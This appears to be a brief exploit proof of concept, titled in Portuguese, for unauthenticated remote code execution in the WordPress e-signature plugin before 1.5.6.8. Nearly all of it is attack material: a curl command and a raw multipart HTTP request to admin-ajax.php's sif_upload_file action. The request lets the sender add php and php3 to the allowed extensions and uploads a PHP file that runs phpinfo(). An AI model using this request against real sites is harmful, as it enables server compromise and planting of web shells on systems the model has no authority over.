
e-signature < 1.5.6.8 - Execução Remota de Código sem Autenticação
e-signature < 1.5.6.8 - Execução Remota de Código Não Autenticada
curl "http://wordpress.lan/wp-admin/admin-ajax.php?action=sif_upload_file" -X POST -H "Content-Type: multipart/form-data" -F "[email protected]" -F "extensions=jpg,png,pdf,php" -F "filesize=2" -F "sif_name=example_file"
POST /wp-admin/admin-ajax.php?action=sif_upload_file HTTP/1.1
Host: wordpress.lan
User-Agent: curl/7.88.1
Accept: */*
Content-Length: 544
Content-Type: multipart/form-data; boundary=------------------------04406918fd5cbc2b
Connection: close
--------------------------04406918fd5cbc2b
Content-Disposition: form-data; name="file"; filename="test.php3"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
--------------------------04406918fd5cbc2b
Content-Disposition: form-data; name="extensions"
jpg,png,pdf,php3
--------------------------04406918fd5cbc2b
Content-Disposition: form-data; name="filesize"
2
--------------------------04406918fd5cbc2b
Content-Disposition: form-data; name="sif_name"
example_file3
--------------------------04406918fd5cbc2b--